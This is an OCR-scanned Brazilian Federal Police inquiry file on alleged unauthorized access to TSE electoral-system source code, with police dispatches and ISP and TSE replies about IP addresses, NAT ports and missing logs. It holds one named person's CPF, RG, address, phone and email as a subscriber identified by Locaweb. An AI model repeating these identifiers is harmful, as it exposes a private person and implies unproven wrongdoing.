conforme solicitado no despacho de fl. 30.

Brasilia/DF, 25 de abril de 2019.

PR/DF | SGAS 604, Lote 23, Av. L2 Sul, Brasilia/DF CEP:70200-640
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DPEDE A0
)
AG! (29 ABR Zm% “ebastes 2,

apenso(s).

contend
Do gque, pR1a £04GWY, 8U

L)

Escrivao(d) as Pu ral jovre esle terme
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CERTIDAO

CERTIFICO que em virtude do afastamento da autoridade policial e do autos
encontrarem-se vencidos em sede policial, encaminho os autos para d
DRCOR/SR/PF/DF, para providéncias cabiveis. O % verdade e dou
fé. Brasilia/DF, 07 de agosto de 2019. Eu, LEONARDO

BRUCE MADUREIRA LOPES, Escriviao de Policia_Féderal, 1 Classe)
' Matricula n® 17.933, que a lavrei.
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IPL n° 1361/2018-4 - SR/IPF/DF
DESPACHO

Junte-se a resposta da empresa Locaweb;
Junte-se as respostas da empresa TIM Brasil S.A,;

wnNn =

Junte-se a resposta da empresa Claro S A,

4. Junte-se a resposta por email do Tribunal Superior Eleitoral assinada
pelo servido Cristiano Moreira Andrade;

5. Ciente da certidao elaborada pelo EPF BRUCE e considerando que
ainda restam pendentes diligéncias tidas por imprescindiveis ao esclarecimento da
verdade material (art. 4°, do CPP e art. 2°, §1°, da Lei 12.830/2013) e considerando as
disposi¢cdes do Provimento/COGER n° 37/2009 (TRF 12 Regidao), remetam-se estes
autos ao(a) Ministério Publico Federal do DF, para fins de controle externo (Art. 129,
VI, da CF/88, c/c. o Art. 9° Il, da LC ), soligitando posterior devolugao para
continuidade das investigagdes ou, caso de apresentacao de pega acusatéria ou
promog¢ao de arquivamento, comunicacdo formal da medida adotada a esta
Superintendéncia, para fins de régistro e,bgj sistemas de controle_interno.

de agosto de 2019.
g

'HUGO DE BARROS CORREIA
Delegado de Policia Federal

Classe Especial - Matricula n® 10.522

DRCOR/SR/PF/DF

DATA

Aoy 07/08/2019, recebi—estes autos do(da) Delegado(a) HUGO DE BARROS
CORREIA. Eu, /\ LEONARDO BRUCE MADUREIRA LOPES, Escrivao de
Policia Federal, que o\a\fr {’

JUNTADA

Aoi) 07/08/2019, fago juntada ads autos dogs) documentoss) referidogs) no
Despacho retro. Eu, LEONARDO BRUCE MADUREIRA
LOPES, Escrivao de Poli_cja—Fe{e}t que o lavrei.

IPL N° 1361/2018
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Paixdo por desenvolver
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Sao Paulo, 02 de maio de 2019.
Ao ’
SERVICO PUBLICO FEDERAL
MSP — POLICIA FEDERAL
| SUPEINTENDENCIA REGIONAL NO DISTRITO FEDERAL
f SAIS — Quadra 7 -Lote 23 — Setor Policial Sul
Brasilia — DF
CEP 70610-902

5 NO
~—Lulpo N
| é‘;;i)\zo\olNADlSR!

limo. Delegado de Policia

Dr. Victor Neves Feitosa Campos
Ref.: Oficio n° 3417/2019 — IPL 1361/2018-4 SR/PF/DF
— GRCC - Assunto: Requisita Informacgbes Cadastrais —
Datado de 18 de abril de 2019 — Recebido em 23 de
abril de 2019.

. ffimo. Dr.,

Em cumprimento tempestivo ao Oficio supra, informamos abaixo os dados cadastrais
relacionados aos IP’s n® 191.252.64.20 em 17.04.2018 as 21:46:26 e 18.04.2018 as 06:36:35 - e -
191.252.0.19 em 18.04.2018 as 00:23:48, respectivamente:

1) Nome: Luiz Henrique Detlinger
CPF: 042.749.858-90
RG: 10275110
Enderego: Rua Santa Inés
Numero: 99807

S O/NADISRIDPF/DE \
EREMOS EM

Bairro: Conjunto Guiomard Santos
Cidade: Rio Branco —~
Estado: Acre pasiios 8 "EAk 7MY
CEP: 69901-441 /
Telefone: (12) 3953-9999
‘ E-mail principal:_ednei.pexa@protonmail.com T Rervidor ]

2) Aproveitamos para salientar gue os IP’s mencionados estdo atrelados ao cliente acima, que,
possuia o produto de cloud (desativado em julho de 2018), com gerenciamento efetuado pelo
proprio cliente, desta forma, caso seja necessdria maior informagdo, tal solicitacdo deve ser
direcionada a pessoa acima citada.

3) Ainda, no que tange a solicitagdo de vossa senhoria quanto ao conteudo referente a
hospedagem que utilizou o 1P 191.252.0.19, primeiramente, cumpre salientar que de acordo
com a Lei do Marco Civil, os registros de acesso as aplicagGes de internet (IPs, demais logs,
conteudo) somente serdo disponibilizados pelos Provedores de Aplicagdo, mediante ordem
judicial, o que ndo impede o acesso a dados cadastrais por autoridades
administrativas/policiais, conforme os mesmos repassados no tdpico 1. Desta forma,

\ Rua itapaiuna, 2434 - Vila Andrade - 05707-001 — S3o0 Paulo — SP %{




locaweb?o

Paixdo por desenvolver

poderiamos repassar tal informagdo ( conteudo) apenas com a devida ordem judicial.
Entretanto, confome exposto no tdpico 2, os servigos foram desativados em 27 de julho de
2018, e assim, adiantamos que ndo possuirimos capacidade técnica para o feito de toda forma
visto o lapso temporal,( superior a 6 meses, que é o prazo de guarda de dados nos moldes da
lei supracitada), de modo que, ja houve a delegao.

Sendo o que nos cumpria para 0 momento, apresentando os protestos de elevada estima e
distinta consideragdo, subscrevemo-nos.

tenciosamente,

LOCAWEB S VItOS DE INTERNET S/A

Rua Itapaiuna, 2434 - Vila Andrade - 05707-001 - Sdo Paulo — SP
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Santo André, 7 de Maio de 2019.
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ILMO(A) SR(A) DR(A) DELEGADO(A) DE POLICIA FEDERAL
VICTOR NEVES FEITOSA CAMPOS
SUPERINTENDENCIA REGIONAL

BRASILIADF
C.T. n° 467148/2019/GRAGP

Ref.: Oficio Extrajudicial: 3419/2019
‘ \Data do Documento: -18/04/2019

" IEMO(A) SR(A) DR(A)

: iEm .atencédo .a referéncia em epigrafe, e em cumprimento ao contido naquele
- RTINSV OAPY PN T s Lo b, 070 b Fakre At AN TRt b3 Kggavsanirs "’lQJu-h.r
- ocumento, informamos.qué:o(s)dP(s) indicado(s);para Pesauisa RAIIENGE() 80, [3NI5CF
~ 1p,t01009!9§:.qe;fﬁ.d&'l%t&.aio,szequerida(s). motivo pelo qual n3o foi possivel realizar a
pasguisa,
- Cumpre-nos esclarecer que o range do IPv4 atingiu sua capacidade maxima de
.« atribuicdes;e; para.ndo_haver, aimpossibilidade, de,conexoes dos, usuarios de dispositivos ,
, L3 T B =, dmve YIS R R L L \.? A S A PRI O I T IN T vemp“‘\
imoveis, foi desenvolvida uma solucac dencminada NAT, (network address translation), que
+ permite o compartilhamento do IPv4 por varios usuarios ao’mesmo tempo através de
~ “portas:|égicas”;diferentes, garantindo que todos continuem com acesso a Internet até que
ocorTa A transicao. total:ao modelo! IPy6. ! (Siiuy urlt Viuid que, SO ULHZ13Q INCOITCEMENL,
| W e rsuratantiar U sSaunauy Ja pesquisa e indicar um usudrio guo nlo & rquonis
- Paucado poins invastiaacdns, pais, no momosnio aue o chanta an aonpeis i Ins oot A L
* (. gpemtA -ausénciazda-indicacao .da,porta légica. da conexao ora requerida, inviabiliza a
¢realizagdo da pesquisa, posto que'naquela mesma’data, hora e fuso, o IP foi utilizado por- - -
milhares: de usuarios simultaneamente.

; ‘.f}.“":‘i_."' farma, aguardaremos n comnlomantacfio dar infarmaeli~a nni pues e nore

¢ 10 pa Salientamos,;ainda,yque;.fornecimento ‘'de .todos os ‘registros encontrados,
independentemente da porta logica, com a devida vénia, resultara na quebra de sigilo de
milhares de, y,suéryip.‘alpeios,;_aq?&[ﬁtps:,u\{.ez,que, frisa-se, sem a porta légica nao sera
possivel. a'individualizagao dos’usuarios! %\ PRTMANGL LR O BHLTE Q200240 PRIG

L atinndin . S NAa 1 iU LUV 1D YU 1aeadm nscessérios.

Desta forma, em que pese estarmos empenhados em executar as pesquisas, €
imprescindivel que o provedor de conteudo fornega a porta légica utilizada em cada

conexao realizada a partir do(s) IP(s) mencionado(s) para que possamos fornecer, de forma
T inequivoca, os dados cadastrais dos usuarios que 0s utilizagam nas datas e horarios

declinados.
. . 1A

Sendo 0 que nos cumpria para 0 momento, permane‘cerﬁoa’é inteira ‘disposigéo para
quaisquer esclarecimentos adicionais que fagam necessério_s/:‘)‘:' DAENTE,
ta. CELULAR B/

ATENGIOSAMENTE,
TIMEELULAR S/A

nTIM Brasil

(Caixa Postal 91,- CEP 09015 970
- &Santo André - SP T

i +55111.4251-6633

$1+5511.2113:6634 Fax
‘,h' - 4 - - b

v ok me e &
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Sdo Paulo 8 de Junho de 2019

Ao,Exmo. Sr. Dr. Delegado de Policia da
MSP - policia Federal

Superintendéncia Regional no Distrito Federal
Dr. Victor Neves Feitosa Campos

SAIS Quadra 7 - lote 23 - Setor Policial Sul
CEP 70610-902 - Brasilia/DF

ID n°. 19.155590

Oficio n®: 3418/2018
IPL 136182018-4

A Claro S.A., em atengdo ao Oficio em epigrafe, vem manifestar-se nos seguintes termos:

Apos buscas em nossa base de dados, a Operadora vem por meio deste esclarecer que os
enderego de IP (Internet Protocol) 201.81.167.53 e 201.6.129.235 sdo denominados
tecnicamente de IP’s Network Address Translation (NAT).

Explica-se:

Sempre que ocorre uma conexdo a internet, o dispositivo a partir do qual a conexdo
ocorreu mantém um registro consistente no enderego de IP de origem do acesso, data e
hora, assim como o fuso horério, dados esses que compdem o registro de conexdo (art. 5°,
VI do Marco Civil da Internet).

Tais informagdes funcionam como identificador de origem dos acessos dos usuarios.

Contudo, em decorréncia do crescimento acelerado do uso da internet, a quantidade de
enderecos IP versdo 4 — IPV4 (quatro octetos), que identificam univocamente cada
usuario, se esgotou no ano de 2014. Para solucionar o problema, foi criado novo modelo
de rede — IPV6, com codificagdes mais longas e, portanto, maior amplitude de enderegos.
Exemplificativamente, ¢ semelhante ao ocorrido com as linhas telefénicas méveis, o que
culminou na adi¢do do nono digito no ano de 2016.

Porém, tendo em vista que este novo modelo de rede néo esta implementado, em virtude
da complexidade técnica envolvida, restou as Operadoras, mediante autorizagdo da
ANATEL e alinhamentos com o grupo de trabalho NIC.br, a utilizagdo provisoria do
protocolo de rede NAT para manutengdo da taxa de crescimento da rede.

O protocolo de rede NAT viabiliza a utilizagdo do mesmo endere¢co de IP,
simultaneamente, por um numero indeterminado de usuarios em conexdes de internet. A

Rua Verbo Divino, 1356, Térreo, Chacara Santo Antdnio, CEP 04719-002 S3o Paulo/SP.
.|

€



M

tnica forma de distinguir uma conexio da outra — e consequentemente, individualizar
qual usudrio foi responsavel pelo acesso a internet — ¢ por meio da Porta Logica de
Origem da conexao.

S&do Paulo 8 de Junho de 2019

Desse modo, tratando-se de conexdo feita por meio do protocolo NAT, como € o presente
caso, a Unica maneira de a Operadora poder individualizar qual o usudrio responsavel pela
conexao que se busca ¢ mediante a combinagao do nimero de IP com o nimero da Porta
Logica de Origem.

Contudo, a Operadora — que ¢ provedora de conexdo, na forma do art. 18 do Marco Civil
da Internet — ndo dispde desta segunda informagao, pois a obrigagdo de registro e guarda

. recai exclusivamente sobre o provedor de aplicagdo, conforme estabelece o art. 15 do
mesmo diploma legal. Trata-se do site ou aplicagdo de internet & qual o usuario se
conectou, como por exemplo, o Google, Facebook etc.

Diante do exposto, para que a Operadora possa proceder as pesquisas a fim de
individualizar qual usuario utilizou-se do enderego de IP para a conexdo a internet, faz-se
necessario o fornecimento da Porta Logica de Origem, a qual deve ser obtida diretamente
junto ao provedor de aplicagdo.

Assim, requer-se que seja indicado, em novo expediente, o endereco de IP, das portas de
origem utilizadas em cada conexdo, data, horario ¢ o fuso hordario, a fim de viabilizar a
Operadora a busca e o fornecimento das informagdes requisitadas.

Por fim, destaca-se que a Operadora armazena os registros de conexo pelo periodo de 36
(trinta e seis) meses.

Sendo o que havia a informar, permanecemos a disposig¢do para qualquer esclarecimento
‘ adicional, apresentando, desde ja, votos de elevada estima e consideragao.

Rua Verbo Divino, 1356, Térreo, Chacara Santo Antonio, CEP 04719-002 Sao Paulo/SP.
.. ]



24/06/2019 Webmail PF - (2375) Caixa de Entrada

Assunto: Resposta - TSE. Indisponibilidade. Dados adicionais. %g
De: Cristiano Moreira Andrade <cristiano.andrade@tse.jus.br>
Data: Segunda, Junho 10, 2019 14:41 -03
Para: campos.vnfc@dpf.gov.br <campos.vnfc@dpf.gov.br> grec.df@dpf.gov.br <grcc.df@dpf.gov.br>
CC: Giuseppe Dutra Janino <giuseppe.janino@tse.jus.br>
Marcelo Carneiro Rodrigues <marcelo.carneiro@tse.jus.br>
Responder-Para: Cristiano Moreira Andrade <cristiano.andrade@tse.jus.br>
Senhores,

Em atencdo ao questionamento sobre evidéncias que o TSE possua sobre o incidente de setembro/outubro de 2018,
informamos:

- O servidor de buiud dos cédigos fontes da urna eletrénica ndo possuia qualquer tipo de log habilitado;

- Devido a manutengdes para solucionar travamentos nos firewall do TSE, a equipe da Global IP realizou reinstalagdo
do servico de geréncia, ndo tendo o devido cuidado de ndo prejudicar os logs armazenados. Outrossim, o volume de
logs configurado pela empresa ficou em apenas 80GB, sendo suficiente para apenas 2 dias, considerando-se o volume
de acessos durante o periodo eleitoral.

Assim, informamos que o TSE n3o possui dados adicionais para repassar a Policia Federal.

Respeitosamente,

Cristiano Moreira Andrade
Coordenadoria de Infraestrutura
Secretaria de Tecnologia da Informag&o

TRIBUNAL SUPERIOR ELEITORAL

“61)3030—8970

https://correio.pf.gov.br/SOGo/so/campos.vnfc/Mail/view 7



SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

1

Aois) _07/08/2019, fago remessa dos autos do IPL NS

REMESSA

Ministério Publico Federal do DF

1/2078-4, contendo 1 volume(s) e 0 apenso(s). Eu
LEONARDO BRUCE MADUREIRA LOPES, Escrivag

de Policia Federal, 12 Classe, Matricula n® 17.933, que o lavrei.

IPL N° 1361/2018



’

MINISTERIO PUBLICO FEDERAL .
PROCURADORIA DA REPUBLICA NO DISTRITO FEDERAL ]
COORDENADORIA JURIDICA
DIVISAQ CRIMINAL

AUTOS: DPF/DF-1361/2018-INQ

CERTIDAQ'

Certifico que, em 09/08/2019, deram entrada na Procuradoria da Repubhca no Distrito Federal 0s presentes autos e, nesta
. data, conforme regras estabelecidas no Congresso Interno de 2018 e na Resolugdo 31/2018, fago sua:

v

[X] Movimentagio ao(a) Procurador(a) da Republica, Dr.(a) Igor Nery Figueiredo,
@ Por ser o(a) titular do PRDF —  2° Oficio de CCl, ao qual o presente feito encontra-se dlstrlbuldo

O Por ser o(a) titular do PRDF - Oficio de CCI, substituto ndo designado.
O . atuando no
acervo do PRDF — t
O Apedido. »
Brasilia, 09/08/2019. -
Roberto PFomped - mat 27280-9
DIVISAO CRIMINAL ’
/
CERTIDAO DE REMESSA . . - +

Em / 2/ 0X/2019 fago remessa dos presentes autos, contendo “‘L " volume(s) e;,é anexo/apenso(s), a (ao)
O Justlca Federal/DF @& Departamento de Policia Federal [J

. | - Laadla /24 052

Responsavel/Matricula




e
Ministério Publico Federal

Procuradoria da Republica no Distrito Federal

IPL n° 1361/2018 SR/DPF/DF

Sr.(a) Delegado(a) de Policia Federal,

O presente inquérito ndo se encontra suficientemente instruido, havendo

necessidade de prosseguimento das investigagdes com vistas a formagao da opinio delicti.

Destarte, este 6rgdo ministerial concede novo prazo de 90 (noventa) dias
para a realiza¢do das diligéncias indispensaveis ao esclarecimento dos fatos sob apuragio,

conforme solicitado a fl. 78.

Brasilia/DF, 12 de agosto de 2019.

PR/DF | SGAS 604, Lote 23, Av. L2 Sul, Brasilia/DF CEP:70200-640
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SR/PE/DF
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Rub:
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SERVICO PUBLIO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - BrasilialDF - CEP 70.610-902

IPL n° 1361/2018-4 - SR/PF/DF

DESPACHO n° 17414/2019

1. Considerando a resposta da empresa TIM e da empresa Claro, expega-se oficio ao
TSE (encaminhe-se cépia ao endereco de emial de fl. 85) solicitando informar as
portas logicas das seguintes conexdes, bem como seus fusos horarios:

189.40.75.154, em 18/04/2018, as 18:56:14

191.51.34.72, em 18/04/2018, as 19:02:05

189.40.75.239, em 18/04/2018 20:45:41

177.219.117.183, em 18/04/2018, as 20:56:20

189.40.72.247, 18/04/2018, as 22:21:17

189.40.72.14, em 18/04/2018 22:23:14

189.40.91.135, em 18/04/2018, as 22:29:37

189.40.90.239, em 19/04/2018, as 01:13:32

189.40.90.253, em 19/04/2018, as 04:08:37

201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as 08:36:42, e
201.6.129.235, em 18/04/2018, as 05:24:54 e 18/04/2018, as 05:48:59.

2. Considerando que ainda restam pendentes diligéncias tidas por imprescindiveis ao
esclarecimento da verdade material (art. 4°, do CPP e art. 2°, §1°, da Lei 12.830/2013)
e considerando as disposigdes do Provimento/COGER n° 37/2009 (TRF 12 Regiao),
remetam-se estes autos ao MPF do DF, para fins de controle externo (Art. 129, VII,
da CF/88, c/lc. o Art. 9° Il, da LC 75/93), solicitando posterior devolugdo para
continuidade das investigagbes ou, em caso de apresentacdo de pega acusatéria ou
promogao de arquivamento, comunicagdo formal da medida adotada a esta
Superintendéncia, para fins de registro e baixa em sistemas de controle interno.

Brasilia/DF, 27 de novembro de 2019.

VICTOR NEVE ITOSA CAMPOS
Delegado d& Pd|icia Federal
Classe Especial - Matkicula-n® 16.179

IPL N° 1361/2018
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SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-802

Oficio n°® 0070/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC
Brasilia/DF, 06 de janeiro de 2020.

A Sua Exceléncia

Ministra ROSA MARIA PIRES WEBER
Presidente do Tribunal Superior Eleitoral
Tribunal Superior Eleitoral - TSE

Setor de Administragao Federal Sul (SAFS)
Quadra 7, Lotes 1/2, Brasilia/DF po*s

Tyt o 3
AT LRI -

CEP 70070-600 R A

Assunto: Solicitagcao de mformagoes .
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referenc:a na resposta)

Senhora Ministra,

Visando instruir os autos do Inquérito Policial n°® 1361/2018-4 -
SR/PF/DF, solicito a Vossa Exceléncia solicitando informar as portas légicas das
seguintes conexdes, bem como seus fusos horarios:

189.40.75.154, em 18/04/2018, as 18:56:14
191.51.34.72, em 18/04/2018, as 19:02:05
189.40.75.239, em 18/04/2018 20:45:41
177.219.117.183, em 18/04/2018, as 20:56:20
189.40.72.247, 18/04/2018, as 22:21:17
‘ 189.40.72.14, em 18/04/2018 22:23:14
189.40.91.135, em 18/04/2018, as 22:29:37
189.40.90.239, em 19/04/2018, as 01:13:32
189.40.90.253, em 19/04/2018, as 04:08:37
201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as 08:36:42, e
201.6.129.235, em 18/04/2018, as 05:24:54 e 18/04/2018, as 05:48:59.

Em anexo coépia de fl. 85 dos autos, encaminhada pelo servidor
CRISTIANO MOREIRA ANDRADE.

Respeitosamente,

VICTOR NEVES$ FEITOSA CAMPOS
Delegado de/Policia. Federal
Classe Especial/- Matricula n® 16.179
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" PROCURADORIA DA REPUBLICA-NO DISTRITO FEDERAL
' COORDENADORIA JURIDICA
- DIVISAO CRIMINAL

-

- AUTOS : DPF/DF-1361/2018-INQ

CERTIDAO

' Certifico que, em 08/01/2020, os presentes autos deram entrada na Procuradoria da Republica
' no Distrito Federal e, nesta data, conforme regras estabelecidas no Congresso Interno de 2018
e. na Resolucdo 31/2018, fago sua MOVIMENTACAO ao(3) Procurador(a) da Republica,
Dr(a). IGOR NERY FIGUEIREDO, por ser o(a) titular do PRDF — 2° Oficio de CClI, ao qual
o presente feito encontra-se distribuido. ’ -’

'Brasﬂia, 8 de jzineiro de 2020.

K Vlireger, ‘
: - Vinicius Mattés gory — 30186
DIVISAO CRIMINAL

14

‘ k CERTIDAO DE REMESSA

Em 10_/2/2019, fago remessa dos presentes autos, contendo _3_ volume(s) e‘év anexo(s)/
_apenso(s), ao(a) ' :

[ ]Justica Federal/DF, _ ® Vara [ Departamento de Policia Federal
[ ]Outro:

. | M@/%@%QJ

Responsavel / Matricula

N




PR-DE-MANIFESTAGAO-353/2020

* MINISTERIO PUBLICO FEDERAL

. PROCURADORIA DA REPUBLICA - DISTRITO FEDERAL .
IPL n° 1361/2018 SR/DPF/DF
" Sr.(a) Delegado(a) de Policia Federal, .

'O presente inquérito ndo se encontra suficientemente instruido, havendo

necessidade de prosseguimento das investigaQGes com vistas a fbrmac;ﬁo da opinio delicti.

Com efexto a autoridade pollclal no. despacho de fl. 89, encaminha os autos"

- -para dLlac;ao de prazo, determmando ainda, a expedigdo de oficio ao TSE.

Acolhendo a solicitagio da Policia Federal; este orgao ‘ministerial concede

novo prazo de 90 (noventa) dias para cumpnmento das dlllgenmas pendentes, relevantes

ao esclarecimento dos fatos sob apuragao

Brasilia/DF, data da assinatura eletrénica

* IGOR NERY FIGUEIREDO

7

Procurador da Republica

Pagina | de 1

em 09/01/2020 18:39.

QL

-

Para verificar a assinatura- acesse

‘Chave 26117C0D.1268BOFF.312A940B.1B388916

por IGOR NERY FIGUEIREDO,

aodocumento

Documento ‘assinado via Token digitalmente
http://www.transparencia.mpf.mp.br/validac
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SR/PF/DF
Fl:

Rub:

N\

SERVICO PUBLICO FEDERAL
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

IPL n° 1361/2018-4 - SR/PF/DF
DESPACHO n° 2683/2020
1. Verifique-se se consta em cartorio resposta ao oficio de fl. 90. Em caso

positivo, junte-se. Em caso negativo, reitere-se.

2. Expeca-se oficio ao TSE, solicitando informar se foi instaurada
sindicancia ou processo administrativo para apurar os fatos relacionados ao Oficio
5825 GAB-SPR, caso positivo solicita-se que encaminhe cépia do procedimento para
. este signatario.

3. Aguarde-se em cartorio resposta aos expedientes supra, observando-se
o prazo de permanéncia dos autos no ambito policial.

Brasilia/DF, 11 de margo de 2020.

/,

/
VICTOR NEVES/'F

Delegado
Classe Especi

ojicia Federal
Matricula n® 16.179



SR/PE/DF
Fl:
Rub: .

MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

} Oficio n°® 2179/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC

Brasilia/DF, 06 de abril de 2020.
A Sua Exceléncia
' Presidente do Tribunal Superior Eleitoral
Tribunal Superior Eleitoral - TSE
Setor de Administragao Federal Sul (SAFS)
Quadra 7, Lotes 1/2, Brasilia/DF
CEP 70070-600

. Assunto: Reiteragao do Oficio n° Oficio n° 0070/2020 - IPL 1361/2018-4 SR/PFIDF
' Ref.: IPL n°® 1361/2018-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhora Ministra,

Visando instruir os autos do Inquérito Policial n® 1361/2018-4 -
SR/PF/DF, solicito a Vossa Exceléncia solicitando informar as portas légicas das
seguintes conexdes, bem como seus fusos horarios:

189.40.75.154, em 18/04/2018, as 18:56:14
191.51.34.72, em 18/04/2018, as 19:02:05
189.40.75.239, em 18/04/2018 20:45:41
177.219.117.183, em 18/04/2018, as 20:56:20
189.40.72.247, 18/04/2018, as 22:21:17
189.40.72.14, em 18/04/2018 22:23:14

‘ 189.40.91.135, em 18/04/2018, as 22:29:37

’ 189.40.90.239, em 19/04/2018, as 01:13:32

189.40.90.253, em 19/04/2018, as 04:08:37
201.81.167.53, em 18/04/2018, as 03:15:28 e 21/04/2019, as 08:36:42, e
201.6.129.235, em 18/04/2018, as 05:24:54 e 18/04/2018, as 05:48:59.

Em anexo copia de fl. 85 dos autos, encaminhada pelo servidor
CRISTIANO MOREIRA ANDRADE.

Respeitosamente,

VICTOR NEVES FEITOSA CAMPOS
Delegado dée/Poljcia Federal
Classe Especial - Matricula n® 16.179
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SERVIGO PUBLI
MSP - POLICIA FEDERAL

SUPERINTENDENCIA REGIONAL NO DISTRITO FEDERAL
SAIS Quadra 7 - Lote 23 - Setor Policial Sul - Brasilia/DF - CEP 70.610-902

Oficio n® 2180/2020 - IPL 1361/2018-4 SR/PF/DF - GRCC

Brasilia/DF, 06 de abril de 2020.
A Sua Exceléncia
Presidente do Tribunal Superior Eleitoral
Tribunal Superior Eleitoral - TSE
Setor de Administragcdo Federal Sul (SAFS)
Quadra 7, Lotes 1/2, Brasilia/DF
CEP 70070-600

Assunto: Solicitacao de informagdes
Ref.: IPL 1361/2018-4 - SR/PF/DF - (Favor citar essa referéncia na resposta)

Senhora Ministra,

Visando instruir os autos do Inquérito Policial n°® 1361/2018-4 - SR/PF/DF,
solicito a Vossa Exceléncia, informar se foi instaurada sindicancia ou processo
administrativo para apurar os fatos relacionados ao Oficio 5825 GAB-SPR, caso
positivo solicito que encaminhe copia do procedimento para este signatario.

Respeitosamente,

VICTOR NEVES FEITQSA CAMPOS
Delegado de/Pglidia Federal
Classe Especial { Matricula n® 16.179
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POLICIA FEDERAL
GRUPO DE REPRESSAO A CRIMES CIBERNETICOS - GRCC/DRCOR/SR/PF/DF
Endereco: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasilia/DF

CERTIDAO DE DESENTRANHAMENTO
2020.0043195-SR/PF/DF

CERTIFICO QUE, desentranhei dos autos os documentos relacionados em virtude de falha no escaneamento do
IPL (faltando folha). O referido é verdade e dou fé.

Documento eletronico assinado em 04/11/2020, as 11h15, por LEONARDO BRUCE MADUREIRA LOPES,
Escrivao de Policia Federal, na forma do artigo 1°, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura,
informando o seguinte codigo verificador: 849a25cfee26191a419099e5c5d7638a05f50485
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POLICIA FEDERAL
GRUPO DE REPRESSAO A CRIMES CIBERNETICOS - GRCC/DRCOR/SR/PF/DF

DESPACHO N° 1125040/2020
2020.0043195-SR/PF/DF

Considerando os Oficios de fls. 94 e 95 dos autos fisicos.

1. 1. Aguarde-se a resposta do oficio de fl. 94.

2. 2. Junte-se a resposta do Oficio de fl. 95, o qual informa a abertura de Comissdo de Sindicancia e

documentos
anexos.

Brasilia/DF, 4 de novembro de 2020.

Documento eletronico assinado em 04/11/2020, as 11h17, por LEONARDO BRUCE MADUREIRA LOPES,
Escrivao de Policia Federal, na forma do artigo 1°, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura,
informando o seguinte cédigo verificador: 1a7cebcdab4ecd2c92242325b4b1fb29f277adb1
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POLICIA FEDERAL
GRUPO DE REPRESSAO A CRIMES CIBERNETICOS - GRCC/DRCOR/SR/PF/DF
Endereco: SAIS, Qd. 7, Lote 23, Sala 135 - CEP: 70610-902 - Brasilia/DF

CERTIDAO DE DESENTRANHAMENTO
2020.0043195-SR/PF/DF

CERTIFICO QUE, desentranhei dos autos os documentos relacionados em virtude de erro no escaneamento do
autos. O referido é verdade e dou fé.

Documento eletronico assinado em 04/11/2020, as 11h20, por LEONARDO BRUCE MADUREIRA LOPES,
Escrivao de Policia Federal, na forma do artigo 1°, inciso III, da Lei 11.419, de 19 de dezembro de 2006. A
autenticidade deste documento pode ser conferida no site https://servicos.dpf.gov.br/assinatura/app/assinatura,
informando o seguinte codigo verificador: 47fbb82abledal190e690bed712256a93f61cd5a6
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TRIBUNAL SUPERIOR ELEITORAL

Oficio GAB-SPR n® 1507/2020

A Sua Exceléncia o Senhor

Delegado de Policia Federal VICTOR NEVES FEITOSA CAMPOS

Superintendéncia Regional no Distrito Federal

Brasilia - DF

Assunto: : IPL 1361/2018-4 - SR/PF/DF

Senhor Delegado de Policia Federal,

Em atencdo ao Oficio n® 2180/2020, informo a Vossa Exceléncia que, em relagdo
aos fatos noticiados por meio do Oficio SPR n? 5825/, de 6.11.2018, foi instaurada
Comissdo de Sindicancia, objeto do Procedimento SEI n® 2018.00.000014309-3 (Sigiloso),

ainda em andamento, conforme cépia em anexo.

Atenciosamente,

JUIZ AUXILIAR DA PRESIDENCIA DO TRIBUNAL SUPERIOR ELEITORAL
“ | Documento assinado eletronicamente em 15/04/2020, as 16:12, conforme art. 12, §22, 111, b,

RICARDO FIOREZE
Juiz Auxiliar da Presidéncia

RICARDO FIOREZE

Brasilia, 15 de abril de 2020.

11 da Lei 11.419/2006.

do Art.

LEONARDO BRUCE MADUREI RA LOPES, MATRi CULA: 17933,

nos ternos do § 1°

Este docunmento tem o nmesnp val or probante do original apresentado,

2020.00.000003366-3

Documento n® 1303517 v5

as 11h20.

em 04/ 11/ 2020,

Aut enti cado por Escrivao de Policia Federal,
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TRIBUNAL SUPERIOR ELEITORAL

Informacao n® 32 STI
Assunto: Dentncia de acesso indevido de dados relativos aos sistemas
eleitorais e ao projeto do hardware da UE2018

Senhor Diretor-Geral,

11 da Lei 11.419/2006.

LEONARDO BRUCE MADUREI RA LOPES, MATRI CULA: 17933, em 04/11/2020, as 11h20.

1. Trata-se de informar acerca do recebimento de denuncia de acesso indevido
de dados relativos aos sistemas eleitorais e ao projeto do hardware da UE2018.
Tal dendncia foi encaminhada por e-mail a Assessoria de Comunicagdo deste
Tribunal, a qual solicitou esclarecimentos sobre o teor do e-mail encaminhado
pelo senhor Felipe Payao, identificado como reporter do portal TecMundo
(https://www.tecmundo.com.br/). O conteiudo do e-mail encontra-se nos
documentos anexos.

2. Com relacao ao conteudo do arquivo TSE.rar, encaminhado pelo reporter
(conteldo impresso anexo), é possivel afirmar que:

2.1. foram incluidas capturas de tela de computador mostrando trechos de
codigo-fonte do aplicativo Gedai-UE, de listas de arquivos e também de
conteudos de documentos; e

